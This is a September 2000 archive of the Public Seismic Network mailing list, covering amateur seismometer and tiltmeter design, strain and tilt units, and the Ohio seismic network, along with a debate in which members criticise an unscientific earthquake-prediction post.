tilt but is not sensitive to horizontal acceleration as a seismometer is, so it can be used to record and remove tilt noise from broadband horizontal seismic data. The current resolution is 8.3 picoradians (10^-12). It readily records such earth tilt noises as acoustic gravity waves (from storms) at 50 nanoradians (10^-9) amplitude. (I will post the abstract on m web site later in the week.) Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: R: Earthquake prediction messages From: "Giovanni Rotta" rottag@.......... Date: Mon, 18 Sep 2000 21:56:49 +0200 Dear Friends, I'm a member of the Italian Society of Anthropology and Ethnology of = Florence (Italy), the oldest society of anthropology in the world and I = know very well what is a "constructive criticism".=20 But Mr.SHANM'...etc. etc. don't explane anything about its prediction = method. He only explane to me that "...Earthquake is a regular feature = and happening daily..." Of course, Mr. SHANM...etc. etc, is certainly a = good person and, be sure, I'm incredibly ignorant. But I'm not a stupid. 24 years ago, here in my region, occurred a 6.5 quake: 1,100 people = died; the houses of 40,000 people crash down... Sorry, my friends, but = in this specific "prediction" case (and for the others similar) I don't = know the constructive patience of a saint. Have my friendly, inflammable and innocuous regards ! Giovanni Giovanni Rotta Via F. Pizzigoni, 10 33010 Resia (Udine) I Lat. 46.368 N Long. 13.299 E rottag@.......... http://www.fesn.org ----- Original Message -----=20 From: Canie Brooks To: Sent: Monday, September 18, 2000 7:08 PM Subject: Re: Earthquake prediction messages > Hi Robert - >=20 > Thanks for the positive words - On our site we do welcome constructive = > criticism, not abusive flames - Like I mentioned, this can be a very=20 > emotional subject and at least I try to have a site that welcomes=20 > predictions, predictive methods whether they be scientific or=20 > psychic/sensitive and constructive adult debates. >=20 > I think we are all aware that we are a long way from accurately = predicting=20 > 100 percent of all earthquakes and may never achieve that type of = accuracy,=20 > but there have been some legitimate inroads and some accurate = predictions=20 > posted. >=20 > I don't think that anyone who is working on this project would = consider=20 > evacuation of an area - I really can't see evacuating over 9 million = people=20 > out of Los Angeles! But we can make the public aware enough that = everyone=20 > has food, water, flashlights, batteries, etc prepared and can be a=20 > supportive community in the case of an earthquake rather than a war = zone=20 > when it does occur. >=20 > Canie >=20 > At 10:30 PM 9/17/00 -0500, Robert W. Avakian wrote: > >And where do we discuss and counter predictions such as the ones that > >caused schools to be shut down in the New Madrid area several years = ago? > > > >As an educator I'd rather see predictions and predicting individuals = on > >this site where we can politely (hint, hint) discuss and debunk their > >ideas if necessary. I have had time to just barely skim Canie's site, > >(and it looks quite well done and interesting), but I didn't see an > >obvious place to go for critical analysis of the ideas on the site. >=20 > __________________________________________________________ >=20 > Public Seismic Network Mailing List (PSN-L) >=20 > To leave this list email PSN-L-REQUEST@.............. with=20 > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. >=20
Dear Friends,
I'm a member of the Italian Society of = Anthropology and=20 Ethnology of Florence (Italy), the oldest society of anthropology in the = world=20 and I know very well what is a "constructive criticism". =
But Mr.SHANM'...etc. etc. = don't explane anything=20 about its prediction method. He only = explane to me=20 that "...Earthquake is a regular feature and happening daily..." = Of=20 course, Mr. SHANM...etc. etc, is certainly a good person and, be sure, = I'm=20 incredibly ignorant. But I'm not a stupid.
24 years ago, here in my region, occurred a 6.5 = quake:=20 1,100 people died; the houses of 40,000 people crash down... = Sorry, my friends, but in this specific "prediction" case=20 (and for the others similar) I don't know the constructive = patience of=20 a saint.
Have my friendly, inflammable and innocuous = regards=20 !
Giovanni
 
Giovanni Rotta
Via F. Pizzigoni, 10
33010 = Resia=20 (Udine) I
Lat. 46.368 N  Long. 13.299 E
rottag@..........
http://www.fesn.org
 
 
----- Original Message -----
From: Canie Brooks <canie@...........>
To: <psn-l@..............><= /DIV>
Sent: Monday, September 18, 2000 7:08 = PM
Subject: Re: Earthquake prediction=20 messages

> Hi Robert -
>
> = Thanks for the=20 positive words - On our site we do welcome constructive
> = criticism, not=20 abusive flames - Like I mentioned, this can be a very
> emotional = subject=20 and at least I try to have a site that welcomes
> predictions, = predictive=20 methods whether they be scientific or
> psychic/sensitive and=20 constructive adult debates.
>
> I think we are all aware = that we=20 are a long way from accurately predicting
> 100 percent of all=20 earthquakes and may never achieve that type of accuracy,
> but = there have=20 been some legitimate inroads and some accurate predictions
>=20 posted.
>
> I don't think that anyone who is working on = this=20 project would consider
> evacuation of an area - I really can't = see=20 evacuating over 9 million people
> out of Los Angeles!  But = we can=20 make the public aware enough that everyone
> has food, water,=20 flashlights, batteries, etc prepared and can be a
> supportive = community=20 in the case of an earthquake rather than a war zone
> when it = does=20 occur.
>
> Canie
>
> At 10:30 PM 9/17/00 = -0500, Robert=20 W. Avakian wrote:
> >And where do we discuss and counter = predictions=20 such as the ones that
> >caused schools to be shut down in the = New=20 Madrid area several years ago?
> >
> >As an educator = I'd=20 rather see predictions and predicting individuals on
> >this = site where=20 we can politely (hint, hint) discuss and debunk their
> >ideas = if=20 necessary. I have had time to just barely skim Canie's site,
> = >(and it=20 looks quite well done and interesting), but I didn't see an
> = >obvious=20 place to go for critical analysis of the ideas on the site.
> =
>=20 __________________________________________________________
> =
>=20 Public Seismic Network Mailing List (PSN-L)
>
> To leave = this list=20 email PSN-L-REQUEST@............... with=20
> the body of the message (first line only): unsubscribe
> = See http://www.seismicnet.co= m/maillist.html=20 for more information.
> Subject: Re: strain and tilt units From: John Hernlund hernlund@....... Date: Mon, 18 Sep 2000 16:39:36 -0700 (MST) On Mon, 18 Sep 2000 sean@........... wrote: > I have submitted an abstract to the AGU meeting regarding the new dynamic > broadband tiltmeter that senses pure tilt but is not sensitive to horizontal > acceleration as a seismometer is, so it can be used to record and > remove tilt noise from broadband horizontal seismic data. The current > resolution is 8.3 picoradians (10^-12). It readily records such earth tilt > noises as acoustic gravity waves (from storms) at 50 nanoradians (10^-9) > amplitude. (I will post the abstract on m web site later in the week.) > Regards, > Sean-Thomas Sean, This sounds extremely interesting. Is this another affordable instrument like your vertical seis? ****************************************************************************** John Hernlund Department of Earth and Space Sciences University of California, Los Angeles E-mail: hernlund@....... or hernlund@............ WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: BB Tiltmeter From: sean@........... Date: Mon, 18 Sep 2000 21:00:21 -0500 (CDT) John, RE: keeping it simple and affordable: I hope to make it so. So far it is made with bought parts and no more machining than hand and woodshop tools, but the several prototypes are meeting the initial goals of the NSF proposal. I am in the final stages of finishing a very comprehensive technical report on it, which the University will use to expand their patent application, whose main objective is to keep us in control of the project, so as to keep any major instrument company from grabbing the ideas and secreting them away and then charging kilobucks per copy. The sensor actually uses a modified version of the electronics built for the leaf-spring vertical (educational) seismometer. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Earthquake prediction messages From: Mariotti Mauro mariottim@............ Date: Tue, 19 Sep 2000 10:15:32 +0200 Dear Sirs, i would want to explain me also in this discussion about earthquake prediction. I don't want to repeat obvious things about the needs of a reliable prediction and about time windows, magnitude windows, and so on... BUT. The fact that always impress me is that anyone of all people that claim to be able to make earthquake forecast NOT use a combined system. In other words, each of them use ONE method. Different from one another, someone analyze "earthquake clouds", one "the sun", one "is sensitive", one "the moon phases", others, "water wells", one "ultrasounds", HEI! STOP! IT's become obvious that this kind of knowledge fragmentation will not lead to any place! Maybe the clouds could tell us something of inteersting but, alone, the cannot predict earthquakes. Someone could claim that atmosferic pressure anomalyes could tell us something of interesting about earhquake genesis? We could say: OK! BUT. One interesting experiment should be to put ALL of these informations, toghether, develop a multisignal analyze method and try to make predictions. One other important thing is that each area is different from other areas. Maybe one method that someone develop for his own area is good and refining it could have a 99% of success, but moving the method in a different place the method could become without sense. Earthquake prediction I think will be possible, WHEN, all the peoples in the earth will wants to share their knowledge with others. At that moment all will become able to predict earhquake in their own area. I'm sure that Mr.Shanmugasundaram (that make prediction with the Sun), or Mr. Boyko Iliev (that make predictions with moon phases), or SYGYZY that i don't remember how, could make interesting global evaluations of quake risk present in that area, and that window time, BUT they need to be helped, or maybe they could help us, seismologist to be in warning of others parameters that we should monitor each of us in our area, using other sensors, tiltmeteres, elf analysis, statistical analysis and so on... In this way (maybe) when: Mr.Shanmugasundaram communicate an alert for example Afganistan, and also Iliev communicate an alert for that area in the same time window and one Afganistan seismologist record a strange tilt, radon emission, and a strange seismic sequence, and so on, we could state: "AN IMPENDING EARTHQUAKE IS TO STRIKE IN THAT REGION OF AFGANISTAN..BLA BLA BLA" In this way in time, we could be able to predict great earthquakes with magnitude over 5.5, without be worried of any 4.0 3.0 that don't cause serious damage. Imagine for a moment if you was able to predict taiwan earthquake or of last year or the turkish sequence. Maybe thousands of life could be saved. And, please, don't tell me that this kind of international research has been done, i don't believe it. Maybe only few people as PSN could make this research, we don't seem to be divided by States, Country, University, Politics, Religions and Social degree... We are amateurs and may be we could have success. But.... Sincerely Mauro Mariotti __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: QUAKE RESULTS From: "R.SHANMUGASUNDARAM" vu2rss@....... Date: Wed, 20 Sep 2000 06:58:04 +0530 See attachment Subject: Quake results From: "R.SHANMUGASUNDARAM" vu2rss@....... Date: Wed, 20 Sep 2000 09:45:01 +0530 HEREAFTER THE REPORTS / RESULTS WILL BE DISPLAYED=20 IN MY WEBSITE AND INDIVIDUAL REPORTS WILL BE SEND ON REQUEST ONLY. KINDLY BEAR WITH ME. Quake results: The result of my report dt.14th Sept.2000 is given below: On 16/09/2000 TAIWAN REGION(5.2)(above Philippines) On 17/09/2000 SOUTH INDIAN OCEAN(4.8)also at SOUTHEAST OF=20 HONSHU,JAPAN(4.3)On 19/09/2000 SERAM, INDONESIA(5.2)also at HINDU KUSH REGION, AFGHANISTAN(4.4) According today's earthmovement there is a quake of magnitude 4 to 5 in Richter Scale may be taken place in ASSAM and=20 its 250 KMs radius. R.SHANMUGASUNDARAM 20th Sept.2000
HEREAFTER THE REPORTS / RESULTS WILL BE = DISPLAYED=20
IN MY WEBSITE AND INDIVIDUAL REPORTS WILL BE SEND
ON=20 REQUEST ONLY.  KINDLY BEAR WITH ME.
 

Quake results:
 
The result of my report dt.14th = Sept.2000 is=20 given below:
 
On 16/09/2000 TAIWAN REGION(5.2)(above=20 Philippines)
On 17/09/2000 SOUTH INDIAN OCEAN(4.8)also at SOUTHEAST = OF=20
HONSHU,JAPAN(4.3)On 19/09/2000 SERAM, INDONESIA(5.2)also
at HINDU = KUSH=20 REGION, AFGHANISTAN(4.4)
 
According today's earthmovement there = is a quake of=20 magnitude
4 to 5 in Richter Scale may be taken place in ASSAM and =
its 250=20 KMs radius.
 
R.SHANMUGASUNDARAM
20th=20 Sept.2000
Subject: Fwd: Massive Sunspot From: The Lahrs johnjan@........ Date: Wed, 20 Sep 2000 19:31:49 -0600 >------------- Begin Forwarded Message ------------- > >From: herzog@........ >Subject: Massive Sunspot >To: Geo_haz_gld@.................. >Date: Wed, 20 Sep 2000 11:55:31 -0600 > >September 20, 2000 > >Team Members: > >A massive sunspot has just appeared on the East limb of the Sun. I have >attached a picture of it in this e-mail, for your interest. The surface of >this spot is more than 7 times the entire surface area of the Earth, and it >has a complex magnetic field that makes it ripe for an X-Class solar flare. >Since it is on the Eastward limb and rotating more directly into view, any >eruption would likely be directed toward the Earth. > >(See attached file: spot9168.gif) > >Don >------------------------------------------------------- >Donald C. Herzog TEL: 303.273.8487 >U.S. Geological Survey FAX: 303.273.8600 >Box 25046 MS 966 herzog@................... >Denver Federal Center http://geomag.usgs.gov >Denver, CO 80225-0046 >USA >------------- End Forwarded Message ------------- * John C. and Jan H. Lahr *JohnJan@........ * 1925 Foothills Road * Golden, Colorado 80401-1718 * (303) 215-9913 * http://lahr.org/john-jan Subject: Another Seismometer Design From: ACole65464@....... Date: Wed, 20 Sep 2000 22:44:38 EDT Hello PSN, Here is something close to the core interests of this group, reviewing someone else's seismometer design. Last January, I decided it was finally time to build a VBB velocity instrument. Because Sean-Thomas was kind enough to share with the PSN the design of the STM-8 Leaf Spring Seismometer, particularly his Mathcad worksheets for the closed loop response, I could not resist the idea any longer. To help understand the ins and outs of a VBB design, I used an old force-balance accelerometer I previously made a year or two ago as a test bed. Its displacement transducer and feedback coil were already in place, and intact. I was going to replace my instrument's displacement transducer with a VRDT per Sean-Thomas' design, because of the excellent resolution it has over mine. Yet, over time my original design worked well enough to detect teleseismic events, see links on my Web page for some sample seismograms it has made. I am the first one to say that this design is no rival to the STM-8. I wrote the paper to show others that building a VBB seismometer based on Sean-Thomas' design, is very achievable. I must thank Chris Chapman for reviewing the paper. He helped me to improve the performance of the displacement transducer, as well as finding other errors in the text and circuit design. Below is the Web page address. http://hometown.aol.com/acole65464/OS_2000.html I would like to hear your comments and opinions. Regards, Allan __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Amplifier From: "Alvis Foster" fosterae@........ Date: Thu, 21 Sep 2000 06:51:20 -0700 I just began construction of a Lehman seismometer based on the 1979 Sci = Am article. It was mentioned somewhere on the PSN website that the = amplifier design from the original article is inadequate. Can anyone = suggest where I could find construction details for a better amplifier ? = thanks Al Foster Muncie, IN Fosterae@........
I just began construction of a Lehman = seismometer=20 based on the 1979 Sci Am article. It was mentioned somewhere on the PSN = website=20 that the amplifier design from the original article is inadequate. Can = anyone=20 suggest where I could find construction details for a better amplifier ? = thanks
 
Al Foster
Muncie, IN
Fosterae@........
Subject: Re: predictions From: KACAMACHO@....... Date: Thu, 21 Sep 2000 10:04:05 EDT I think any predictions need to be backed up scientifically. If you are going to make predictions public it is imperative that it be done in a responsible, factual and accurate way as to not "panic" people. Lecture over. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: predictions From: KACAMACHO@....... Date: Thu, 21 Sep 2000 10:04:05 EDT I think any predictions need to be backed up scientifically. If you are going to make predictions public it is imperative that it be done in a responsible, factual and accurate way as to not "panic" people. Lecture over. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Fwd: RE: OhioSeis stations From: The Lahrs johnjan@........ Date: Thu, 21 Sep 2000 20:28:52 -0600 Here's some information on the Ohio seismic network. The 3 email messages are in reverse order. John >Date: Thu, 21 Sep 2000 15:08:48 -0600 (MDT) >From: John Lahr >Reply-To: John Lahr >Subject: RE: OhioSeis stations >------------- Begin Forwarded Message ------------- > >From: "Hansen, Mike" >To: "'John Lahr'" >Subject: RE: OhioSeis stations >Date: Thu, 21 Sep 2000 17:05:53 -0400 > >John, > It would be great to send the info to the Public Seismic Network. >About 2,500 of that cost is for a new Mac and monitor, so one could save a >lot by picking up a used one. I have had several hobbyists contact me about >putting in their own stations. The S102 broadband that we use costs $1,600 >and was developed under Larry Ruff's guidance. We are pleased with the >performance of this vertical instrument so far. > > We have been working fairly closely with Kaye Shedlock as our >headquarters station hosts a USNSN station (ACSO) as well. We have worked >with Bruce Presgrave, who has our codes in the catalog (along with >coordinates, and such). We did work together on the Ohio earthquake on 7 >Aug. and I sent Bruce our arrival times. We need to set up a better system, >probably, but we are working on it. We are working on a PC version to view >our waveforms so one will not need a Mac to see them easily. It will have a >filter and a picker to pick arrivals, get Lg amplitude/period, etc. All of >the USGS people have been great to us as we are not seismologists nor are >any of our station operators. Larry Ruff has been teaching us seismology at >a rapid rate--which goes to show that old dogs can learn new tricks. Just >not too quickly. > I am open to any suggestions that you may have on data sharing or >other ideas. >Best, >Mike >Michael C. Hansen, Ph.D. >Ohio Geological Survey >4383 Fountain Square Drive >Columbus, OH 43224-1362 > >614-265-6580 >614-268-3669 (FAX) > > > >-----Original Message----- >From: John Lahr [mailto:lahr@.................... >Sent: Thursday, September 21, 2000 4:36 PM >To: Mike.Hansen@............... >Cc: person@......... lahr@.................... buland@........ >Subject: Re: OhioSeis stations > >Dear Mike, > >Thanks for responding to Ms. Beltz's questions. > >Would it be OK if I forward your message to the Public Seismic >Network email list? Although $6K is a bit high for most >amateurs, I think that many would still be interested in >the way OhioSeis has been implimented. >..... > >Cheers, >JCLahr >##################################/ John C. Lahr, PhD >#################################/ Seismologist >################################/ U.S. Geological Survey >###############################/ Geologic Hazards Team, MS966 >##############################/ PO Box 25046 >#############################//############################## >############################//############################### >Denver, Colorado 80225-0046 /################################ > Phone: (303) 273-8596 /################################# > Fax: (303) 273-8600 /################################## >lahr@................... /################################### > > > > > > From: "Hansen, Mike" > > To: "'ebeltz@.........." > > Cc: "'lahr@...................." , >"'ruff@.................." > > Subject: OhioSeis stations > > Date: Thu, 21 Sep 2000 15:52:54 -0400 > > > > Dear Ms. Beltz, > > Your note to John Lahr of USGS has been ccd to me. We have a very > > new, active, and inexpensive program to monitor seismic activity in Ohio. > > This concept, components, and software were developed by Dr. Ruff at the > > Univ. of Michigan. I suggest that you go to our website > > (http://www.dnr.state.oh.us/odnr/geo_survey/), then click publications, >then > > Ohio Geology, then current issue: no. 1, 2000. That will lead you to an > > extensive article on the Ohio Seismic Network. You will see other links on > > the site to other earthquake-related articles. Larry Ruff's MichSeis >website > > (http://www.geo.lsa.umich.edu/MichSeis/index.html) gives a lot of > > information on the equipment and software and has interpreted seismograms > > from OhioSeis stations. > > The entire system, including Macintosh computer, costs a bit under > > $6,000. It uses a broadband seismometer which is superior to many older > > instruments. We record any earthquake in the world that is 6.0 magnitude >or > > above and many distant ones that are in the 5.0 range. We pick up Illinois > > events that are in the 3 mag. range. The system is fairly easy to set up >and > > operate and does not require much maintenance. > > Currently, the software will run only on the 8 series Mac operating > > system. The new Mac G4s have OS 9.0. Therefore, you would have to locate a > > Mac G3 or G4 with 8.5 or 8.6. The iMac computers will not work because >they > > do not have an internal slot for the digitizing board. We use Garmin GPS > > receivers for time. > > Our first real test of the system was last month when we had a 3.0 > > mbLg earthquake in Alliance, OH. We were able to locate it within a 4x5 km > > error ellipse using OhioSeis stations and were pleased with our system > > performance. You can click on that link on our web site and see the >results. > > All of our stations are continuously connected to the Internet so > > that we can access data at any time. You would not have to do this, but it > > is a wonderful way to share data. You would need a network connection to a > > T-1 line for this. We could provide an equipment list with suppliers and > > costs. > > > > That is a brief overview of our system. If you have any questions, > > please feel free to call or email. You can go to our index page and link >to > > any of our stations at the URL: http://198.234.183.15 . If you have a Mac > > available, go to Larry Ruff's website and download the 2000.1 version of >his > > program, SeismoView, and then you can view any of our seismograms. > > Sincerely, > > Mike Hansen > > > > Michael C. Hansen, Ph.D. > > Ohio Geological Survey > > 4383 Fountain Square Drive > > Columbus, OH 43224-1362 > > > > 614-265-6580 > > 614-268-3669 (FAX) > > > > > >------------- End Forwarded Message ------------- * John C. and Jan H. Lahr *JohnJan@........ * 1925 Foothills Road * Golden, Colorado 80401-1718 * (303) 215-9913 * http://lahr.org/john-jan __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: R: predictions From: "Liberossi" liberossi@......... Date: Sat, 23 Sep 2000 08:46:25 +0200 ----- Original Message ----- From: To: ; Sent: Thursday, September 21, 2000 4:04 PM Subject: Re: predictions > I think any predictions need to be backed up scientifically. If you are going > to make predictions public it is imperative that it be done in a responsible, > factual and accurate way as to not "panic" people. Lecture over. > I agree with you_ Prediction have to be sure atherwise nothing is the best . libeross@............................................................. > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: strain and tilt units From: Mariotti Mauro mariottim@............ Date: Sat, 23 Sep 2000 10:13:28 +0200 Sean-Thomas, thank you for your kindly reply. It was very exaustive, as ever you do. Thank you again, now all it's clear. Sincerely. Mauro At 14.15 18/09/2000 -0500, you wrote: >Mauro, > >There is no such thing as a dumb question, and not responding could be >dangerous, as my parents often found out when I asked such obvious childhood >questions as how an alarm clock worked and they didn't respond, so I took >it apart to find out. (I really got into trouble with the tube radio). > >I assume that you know that 10^-7 means 0.000 000 01, or one part in >1/10 th of a million. > >Strain and tilt are generally considered dimensionless, although the >small angle approximation that sine(i) = i (in radians), means that >tilt is represented in microradians (a radian is 360 degrees/ (2* pi)); > >Strain is the change in length over a distance divided by that distance. >So a change of 1 micron over 1 meter is a strain of 10^-6, or 1 microstrain. >To measure it, some stable reference length, like quartz rods or laser >interferometers, are used to determine the distance, and some sensitive >transducer is used to compare the reference length with the actual length >of the piece of earth in question. One of my earliest projects involved >100 ft quartz tube strainmeters deep in a lead mine in Missouri. Some of >the best laser/optical strainmeters are run by UCSD at LaJolla, where >lasers in 750 meter vacuum tubes have resolutions of 10^-9 and annual >stability of 10^-6. The new LIGO (Laser Interferometer Gravitational >Wave Observatories) use multi-path laser interferometers 4 kilometers >per arm to try to detect gravitational waves from supernovas, colliding >black holes, etc., that will strain the earth at 10^-18 to 10^-21. >This megabucks NSF project has two LIGOs (Washington state and Louisiana), >to sort out non-deep-space noise. > >Tilt has a similar definition of the change in elevation at one end >of a reference length divided by that length. So if I balance a 30 cm >ruler at the hole in the center, the length to the end is 150 mm. If I >can measure any change in height at the free end to within 0.1 mm, this >would be a tilt of 0.1/150 or 0.00067 radians, or 6.7 x 10^-4. >The usual units of tilt are in microradians, or 10^-6. The geodetic >tiltmeters that I had installed as part of the USGS "prediction" effort >in the '80s (in the Aleutians, at Parkfield, and almost at the Palmdale >bulge before Dave Jackson at UCLA found it to be a surveying artifact), have >resolutions of 10^-9, and annual stability if 10^-6, so the earth tides >at 10^-7 are a ready calibration signal for which we have accurate >computer models for comparison. The annual stability of 10^-6 was the >best we could get three co-sited instruments to agree, and was much >larger than what models of tectonic deformation indicated for pre-earthquake >deformation. The largest coherent signal was the annual rainfall hydrology. > >I have submitted an abstract to the AGU meeting regarding the new dynamic >broadband tiltmeter that senses pure tilt but is not sensitive to horizontal >acceleration as a seismometer is, so it can be used to record and >remove tilt noise from broadband horizontal seismic data. The current >resolution is 8.3 picoradians (10^-12). It readily records such earth tilt >noises as acoustic gravity waves (from storms) at 50 nanoradians (10^-9) >amplitude. (I will post the abstract on m web site later in the week.) > >Regards, >Sean-Thomas > >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. > > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: predictions From: barry lotz gbl@....... Date: Sat, 23 Sep 2000 06:22:04 -0700 John I agree. I believe by looking at previous seismicity one can determine zones of potential activity. I realize that probability is mans best guess from a lack of understanding. I am not a firm believer in an event occuring on a specific fault known by man. Barry John Hernlund wrote: > Hi All, > I just moved to LA, and have just been going through the messages > concerning prediction. This is a very interesting topic indeed. I had the > pleasure of attending a symposium last week which went through several > statistical models and fancy number schemes which may be applied to > prediction. The best talk was given by Dave Jackson, who has been interested > in this topic for some time now. He used only raw data from the past to try > and model future activity...and the result: you have a better idea of > earthquake risk from looking at a map of previous seismicity than just about > any other method. I think that anybody will find this simple method hard to > beat! > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: amplifier info From: sean@........... Date: Sun, 24 Sep 2000 17:45:55 -0500 (CDT) Al, (Repeat from Sep 11 post:) For some time I have posted the schematic of the seismic preamp and 4-pole filter that has been used in over 100 telemetry stations from Alaska to Greece. The filter design is from the NASA filter handbook (details posted). The schematic shows options for frequency scaling, as for a 2.7 second "Wood Anderson Seismometer" response that works well in an urban setting (the vault on SLU campus) with a 15-second long period seis like a Lehman horizontal as input. The cmos 4250 amplifiers can be replaced with more available higher power devices if battery operation is not needed. http://www.eas.slu.edu/People/STMorrissey/index.html stmmisc.html" PSN INFO ... SLU Seismic Network Regarding the artwork for the seismic preamp/filter. I can send a photocopy of the original artwork, 2X scale, black lines on white or a transparency copy of the actual printing film (which I doubt is dense enough to photo-print from), if you send me three stamps and an address. It really isn't that complicated, as you can see from the scan of the foil side of the board shown on the web site. And if I were to make only one or two, I would use perforated board with foil pads. Vector 3677 is 4" wide and has 22 gold plated edge connectors; cut lengthwise and trimming off one connector makes the 2" x 6" to 8", 10-pin connector board that fits inside the tennis-ball can that is used for a housing. I have used this board for as many as 6 prototype circuits; once one is laid out, duplicating it is easy. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Address change, etc. From: John Hernlund hernlund@............ Date: Tue, 26 Sep 2000 18:24:47 -0700 Hi All, I have moved to LA, to begin grad school at UCLA. My new e-mail address is hernlund@............. I look forward to further posts from the PSN group. Hell, maybe I can even attend one of your meetings at some point in time. I will not have the time to tinker with seismographs these days, though it might be interesting to get a cheap device going for my apartment in Santa Monica...much more activity here than in Tempe, AZ! I do have the opportunity to play with some seismic data from portable instruments recently collecting data in the Snake River Plain. We are working on the fluid mechanics and chemistry of that region using computer models, then we are thinking about simulating seismic waves propagating through our model results to see how well they match the seimic data...should be interesting. Cheers! John Hernlund Department of Earth and Space Sciences University of California, Los Angeles hernlund@............ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Address change, etc. From: "Erich Kern" efkern@............. Date: Tue, 26 Sep 2000 20:25:40 -0700 Hi John, Congrats on your move. A warning however; my wife was on a consulting trip to The Peoples Republic of Santa Monica ( hereinafter abbreviated PRSM) a few months ago and was whacked with a $75. fine for jaywalking. She's a careful person and looked both ways before crossing in the middle of the block. A motorcycle powered guardian of our safety swooped up to write a ticket for jaywalking. On the plus side, the PRSM must have a low crime rate if the cops have time to nail jaywalkers. Cheers, Erich Kern -----Original Message----- From: John Hernlund To: psn-l@.............. Date: Tuesday, September 26, 2000 6:25 PM Subject: Address change, etc. Hi All, I have moved to LA, to begin grad school at UCLA. My new e-mail address is hernlund@............. I look forward to further posts from the PSN group. Hell, maybe I can even attend one of your meetings at some point in time. I will not have the time to tinker with seismographs these days, though it might be interesting to get a cheap device going for my apartment in Santa Monica...much more activity here than in Tempe, AZ! I do have the opportunity to play with some seismic data from portable instruments recently collecting data in the Snake River Plain. We are working on the fluid mechanics and chemistry of that region using computer models, then we are thinking about simulating seismic waves propagating through our model results to see how well they match the seimic data...should be interesting. Cheers! John Hernlund Department of Earth and Space Sciences University of California, Los Angeles hernlund@............ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Address change, etc. From: John Hernlund hernlund@............ Date: Wed, 27 Sep 2000 12:55:14 -0700 Erich Kern wrote: > Congrats on your move. Thanks! I am starting to like it here...the initial week was some what of a shock. > A warning however; my wife was on a consulting trip to The > Peoples Republic of Santa Monica ( hereinafter abbreviated PRSM) a few months ago and > was whacked with a $75. fine for jaywalking. She's a careful person and looked both > ways before crossing in the middle of the block. A motorcycle powered guardian of our > safety swooped up to write a ticket for jaywalking. Yeah, I'll be careful of that. > On the plus side, the PRSM must > have a low crime rate if the cops have time to nail jaywalkers. Well, I wouldn't mind if they spent more time cracking down on some of the idiot drivers on the roads! I do not feel safe (even in my tank of a car) driving around here. Good thing the Blue Bus is free for UCLA students! I think crime is fairly low around SM... John Hernlund Department of Earth and Space Sciences University of California, Los Angeles hernlund@............ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Bi metal source From: BOB BARNS roybar@........ Date: Wed, 27 Sep 2000 21:30:25 -0400 Hi gang, Some time ago there was a lot of traffic about diamagnetic materials. Bismuth is the strongest known. This is avail. at www.unitednuclear.com (I don't own any of their stock.) 1/4 lb is $6 and 1 lb is $20. I read somewhere that if you cast a bar of Bi and suspend it by a string, it will point east-west. I haven't tried it. Bob Barns __________________________________________________________ Public Seismic Network Mailing List (PSN-L)